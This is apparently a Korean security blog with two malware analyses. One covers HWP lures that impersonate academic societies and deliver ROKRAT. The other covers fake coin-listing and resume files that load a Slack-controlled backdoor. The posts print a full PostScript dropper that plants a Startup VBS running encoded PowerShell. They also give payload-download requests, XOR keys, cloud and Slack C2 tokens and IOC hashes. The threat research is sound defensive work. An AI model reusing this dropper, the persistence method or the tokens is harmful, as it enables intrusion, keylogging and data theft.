2019년 11월 18일 바이러스토탈에서 악성으로 추정되는 샘플이 헌팅되었으며 헌팅된 문서는 “제9대 한국국가정보학회 회장 선거 및 선거관리위원회 구성 공고” 라는 내용을 포함하고 있다. 싸이버워(이하 싸워)에서 올린 사진(링크)에 따르면 한국국가정보학회 홈페이지에서 유포를 하였거나 또는 정상적인 문서를 악용하여 유포한 것으로 추정된다. 공격자들은 4월 한국정치학회 위장, 7월 한국국제정치학회 위장에 이어 또다시 다른 학회를 위장하는 것으로 보인다. 

 

구분 유포 날짜 파일명 또는 내용 (악용된 학회명)
파일 #1 2019-10 추정 new_제9대 학회장 선거공고 및 입후보 신청서 관련
(한국국가정보학회)
파일 #2 2019-07 추정 한국국제정치학회 회원카드 관련 (한국국제정치학회)
파일 #3 2019-04-12 춘계학술회의 프로그램 관련 (한국정치학회)

[표 1] 특정 학회를 위장한 공격 사례

 

특정 학회를 위장하여 시도된 공격은 [표 1]과 같으며 새로 확인된 공격(파일#1)이 기존에 유포된 공격과 일부 유사한 점을 확인하여 분석을 진행하고자 한다.

 

 

유포된 한글 문서는 2019-10-28 11:26:39 (UTC)에 마지막으로 저장되었으며 싸워에서 올려둔 사진에서 학회 홈페이지에 게시글이 업로드된 시간은 2019-10-28 15:42이다. 공격자가 실제로 홈페이지에 업로드된 문서를 악용한 경우라면 KCT 기준 홈페이지에 업로드 후 대략 4시간 만에 제작된 것으로 추정된다. (현시각 홈페이지는 잠정적으로 폐쇄한다는 문구가 적혀있고 접속이 불가능함)

 

new_제9대 학회장 선거공고 및 입후보신청서 HwpSummaryInformation

 

Stage 1. 포스트스크립트

내부에 포함되어 있는 포스트스크립트는 실행될 경우 2개의 파일을 시작프로그램과 다른 폴더에생성한다. 생성된 파일은 각각 BASE64로 인코딩된 데이터 파일과 인코딩된 데이터 파일을 실행시켜줄 VB스크립트로 이루어져 있다. 동작은 시작프로그램에 생성되어 부팅 시 자동으로 실행되는 VB스크립트에서 파워쉘 EncodedCommand 옵션을 사용하여 데이터를 디코딩 후 실행시키도록 구성되어 있다.

 

포스트스트립트 일부

(%appdata%)\Microsoft\Windows\Start Menu\Programs\Startup\Zeorder88.0.2.vbs
(%appdata%)\Microsoft\AutoCad.mji.ver01

[표 2] 생성되는 파일 경로

 

디코딩된 스크립트는 kernel32.dll Import -> Binary Download -> VirtualAlloc() -> CreateThread 순으로 메모리에 로드되어 동작한다. 

 

디코딩된 스크립트

 

Stage 2. Injected Shellcode (feat. ROKRAT)
로드된 쉘코드는 특정 위치의 데이터를 읽어와 디코딩 과정에 사용할 크기와 키값으로 사용하며 메모리를 추가로 할당하여 4바이트씩 디코딩 과정을 수행한다.

 - size : 0x0007B200

 - key : 0x11A811A7

 

인코딩된 데이터
디코딩 과정

 

디코딩 후 파일 형태로 로드되어 동작하며 파일은 ROKRAT라고 불리는 악성코드이다. 위에서 언급한 3개의 파일 모두 최종 페이로드로 같은 유형의 악성코드를 메모리에서 동작시키며 주요 특징은 사용자 정보를 수집 후 C&C서버를 클라우드 스토리지의 오픈API를 사용하여 파일을 주고받는다. (이미 분석된 내용이 많으므로 자세한 내용은 클릭)
 - token : 6HVrZkS73Uk8M6T7ZJYj7N7ZV8hsboKJRz5855MzoG4iBJaRikA

 

 

※ 포스트 스크립트 특징/패턴
전에 올린 게시물(클릭)에서처럼 시작프로그램에 스크립트 형태의 파일을 생성하여 사용하며 포스트스크립트에서 단순한 이름으로 선언하여 데이터 스트림을 지속적으로 사용하는 방식을 사용한다. 다시 말하지만 해당 특징들은 일반적으로 많이 쓸 수 있고 쉽게 쓰는 패턴이므로 참고만 바란다.

 

/envstr
/appenv
/file0 ~ /file10
/path0 ~ /path10 

[표 3] 자주 선언된 변수명

 

또한 7월경에 유포된 한국국제정치학회 위장(파일#2)와 매우 유사한 포스트 스크립트 패턴을 볼 수 있으며 인코딩된 BASE64 데이터와 시작프로그램에 생성되는 VB스크립트의 파일명을 제외하고 [표 4]와 같이 매우 유사한 패턴을 확인할 수 있다. 

 

%!PS-Adobe-3.0 EPSF-3.0 

/Jackon{ exch dup 7 pop length 7 pop 4 pop 3 2 pop pop 2 index 4 pop length add string  dup dup 4 8 pop 5 pop 2 roll 3 pop 7 pop copy 2 pop 3 pop length 2 pop 3 pop 4 -1 roll putinterval}bind def (appd) (ata) Jackon /appenv exch def appenv getenv pop /envstr exch def envstr(\\Microso)Jackon/patho exch def patho(ft\\Windows\\Start M)Jackon/path7 exch def path7(enu\\Programs\\S)Jackon/path8 exch def path8(tartUp\\Zeorder88.0.2.vbs)Jackon/path4 exch def envstr(\\Microsoft\\AutoCad.mji.ver01)Jackon/path2 exch def path4 (w) file /file0 exch def file0 (Dim ww,p,fp:fp=")writestring file0 path2 writestring file0 (":Set dd=WScript.CreateObject\("WScript.Shell"\):Set rr=CreateObject\("Scripting.FileSystemObject"\):If rr.FileExists\(fp\) Then:Set readfile=rr.OpenTextFile\(fp, 1, false,-2\):cs=readfile.ReadAll:readfile.close:ww=dd.ExpandEnvironmentStrings\("%windir%"\):p=ww+"\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe":If Not rr.FileExists\(p\) Then:p=ww+"\\System32\\WindowsPowerShell\\v1.0\\powershell.exe":End If:p=p+" -Enc " & """" & cs & """":dd.Run p,0,true:End if)writestring file0 closefile path2(w)file/file1 exch def file1(base64 encoding data)writestring file1 closefile
%!PS-Adobe-3.0 EPSF-3.0 

/Jackon{ exch dup 7 pop length 7 pop 4 pop 3 2 pop pop 2 index 4 pop length add string  dup dup 4 8 pop 5 pop 2 roll 3 pop 7 pop copy 2 pop 3 pop length 2 pop 3 pop 4 -1 roll putinterval}bind def (appd) (ata) Jackon /appenv exch def appenv getenv pop /envstr exch def envstr(\\Microso)Jackon/patho exch def patho(ft\\Windows\\Start M)Jackon/path7 exch def path7(enu\\Programs\\S)Jackon/path8 exch def path8(tartUp\\CleanCache_v40.0.2.vbs)Jackon/path4 exch def envstr(\\Microsoft\\Iconcache.fia.ver01)Jackon/path2 exch def path4 (w) file /file0 exch def file0 (Dim ww,p,fp:fp=")writestring file0 path2 writestring file0 (":Set dd=WScript.CreateObject\("WScript.Shell"\):Set rr=CreateObject\("Scripting.FileSystemObject"\):If rr.FileExists\(fp\) Then:Set readfile=rr.OpenTextFile\(fp, 1, false,-2\):cs=readfile.ReadAll:readfile.close:ww=dd.ExpandEnvironmentStrings\("%windir%"\):p=ww+"\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe":If Not rr.FileExists\(p\) Then:p=ww+"\\System32\\WindowsPowerShell\\v1.0\\powershell.exe":End If:p=p+" -Enc " & """" & cs & """":dd.Run p,0,true:End if)writestring file0 closefile path2(w)file/file1 exch def file1(base64 encoding data)writestring file1 closefile

포스트스크립트 비교 (파일#1 / 파일#2)

 

 

IOC
new_제9대 학회장 선거공고 및 입후보신청서.hwp (E232EE98E0777FE589F600AA6E62D967)
제목모름.hwp (452BE70FEB404EB5C7A61C579FC149EE)
[한국정치학회] 춘계학술회의 프로그램.hwp (DE4B2A970BFAB5209C9AA5C1A541FF76)

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

2019년11월4일 바이러스토탈에서 악성으로 추정되는 2개의 샘플이 헌팅되었으며 각각의 파일은 다른 파일명과 내용을 가지고 있고 바이러스 토탈의 서브미션 정보도 달랐지만 내부에 포함된 포스트스크립트는 동일한 파일로 확인되어 분석을 진행하였다.

 

 

두 개의 파일은 제목과 같이 [파일 1]은 신규코인을 상장하기 위한 신청서와 [파일 2]의 특정 인물로 위장한 이력서 사칭 문서로 이루어져 있다. 각각의 파일은 다른 대상을 목표로 공격을 시도했을 가능성으로 추정해본다.

 

파일1. [WhitePaper+소개]신규코인_상장_신청서2.hwp
파일2. 정찬혁_이력서2.hwp

 

Stage 1. 포스트스크립트
내부에 포함되어 있는 포스트스크립트는 실행될 경우 시작프로그램에 파일(%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe)을 생성하고 동작시키는데 스크립트는 코드영역과 그 코드영역에 포함되어 있는 데이터를 읽어와 하나의 파일로 만들어주는 영역으로 이루어져 있다.

 

포스트포스트스크립트 (createfile, readhexstring)
데이터 (/buf0 ~ /buf67)
포스트스크립트 (writestring)

 

※ 포스트 스크립트 특징/패턴
포스트 스크립트를 분석해보면 여러 회사에서 명명한 공격 그룹에서 사용하고 있는 공격 패턴과 유사한 점을 볼 수 있는데 우선 시작프로그램에 스크립트 형태의 파일이나 실행파일 형태로 생성 후 각 변수에 포함되어 있는 데이터를 16진수로 읽어와 쓰는 방법을 주로 사용한다. 여기서 자주 사용하는 변수명은 단순한 이름으로 선언하여 데이터 스트림을 지속적으로 사용하는 특징이 있다.

 

[자주 선언되는 변수명]
/envstr
/appenv
/popmenuw
/file0 ~ /file10
/path0 ~ /path10
/buf0 ~ /buf10

 

해당 특징들은 일반적으로 많이 쓸 수 있고 쉽게 쓰는 패턴으로 볼 수 있지만 현재까지 공개된 많은 유형의 포스트스크립트가 이와같은 특징/패턴을 가지고 있기에 참고할 수 있는 부분이라고 개인적으로 생각한다.

 

 

Stage 2. 시작프로그램의 실행파일(update.exe, memoryloader)
시작프로그램에 의해 실행된 파일은 공개된 슬랙(Slack) API를 사용하여 추가파일을 받아와 메모리에서 동작시키는 로더로써 역할을 수행한다. 우선 정상적으로 동작할경우 뮤텍스를 생성하고 추가 파일을 다운로드하기 위해 HTTP 헤더 정보를 복호화하여 가져온다.
 - decrypt xor key : 0x3FC83DF86413F23DBCBC653E9864FFA1

 

HTTP 헤더 정보 복호화 루틴

 

GET /TPCBPBQD8-FPQRX8SBD-0c03d3b809 HTTP/1.0 
Host: slack-files.com 
User-Agent: Google 
Connection: close

 

다운로드 바이너리

 

분석 당시 추가로 파일을 다운로드하지 못하여 추가 바이너리 파일을 어떤 착한분에게 협찬받아 진행하였기에 핵심부분만 빠르게 분석을 진행하였다. 다운로드한 바이너리 파일은 xor 연산을 통해 복호화를 수행하며 아까 사용한 키값과 동일하게 사용한다. 이후 현재 실행 중인 자신의 PID를 가져와 reflectiveLoader()를 사용하여 파일 형태로 로드시켜 동작시킨다. 

 

인젝션 루틴

 

 

Stage 3. Reflective DLL Injection
로드된 DLL은 쓰레드를 생성해서 행위를 수행하며 현재 실행중인 프로세스에서 고스트스크립트관련 프로세스인 “gswin32.exe”, “gswin32c.exe”, “gbb.exe”가 실행되고 있을 경우 프로세스를 종료시킨다. 이후 다수의 스레드를 동시에 수행시키며 악성행위를 수행한다.

스레드 #1
현재 실행중인 프로세스의 실행경로를 가져와 30분 주기로 시작프로그램에 자가복제 파일을 생성한다.

스레드 #2
키로깅 기능을 수행하며 추가로 GetCurrentHwProfileA()를 사용하여 컴퓨터의 하드웨어 프로필 정보를 수집하고 사용자를 식별하는데 사용하는 것으로 추정된다.

스레드 #3
백도어 기능을 수행하는 메인 코드로 악성코드는 C&C 서버로 주로 협업 도구로 사용되는 슬랙(Slack)을 사용하여 명령코드를 주고받고 수집된 정보를 전송한다. 스레드가 정상적으로 동작하면 추가로 파일을 다운로드하며 그 데이터를 읽어와 명령코드로 사용하게 된다.

 

GET /TPCBPBQD8-FPQRSHDH9-5a159cc196 HTTP/1.0 
Host: slack-files.com 
User-Agent: Google 
Connection: close

 

 

명령코드1에서 1바이트 크기의 명령코드를 확인 후 명령코드2를 추가로 검증하여 각기 다른 행위를 수행한다. 수집된 데이터는 슬랙과 통신을 통해서 전달되며 키값은 다음과 같다.
 - key : Bearer xoxb-794397398450-806735096260-kr3JbEBAw2Z4a9sGu6FHCZEg

 

명령코드1 (1byte) 명령코드2 기능
C (0x43) MD_ALL 또는 MD 수집된 파일 업로드
RL_ALL 또는 RL 다른 주소 접근(SSL)
D (0x44) IR_ALL 또는 IR 파일 검색
K (0x4B) EYLOG 키로거 기능 조작
S (0x53) CREEN_ALL 또는 CREEN 화면캡처
그 외 FILE_ALL 파일 전송
ING 동작하고 있는 프로세스 정보 수집

 

 

IOC
[WhitePaper+소개]신규코인_상장_신청서2.hwp (95FE089B63C095BFB2B25E8C6914D19D)
정찬혁_이력서2.hwp (D6709D7DAD54E31D87A2C721F09714FB)

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,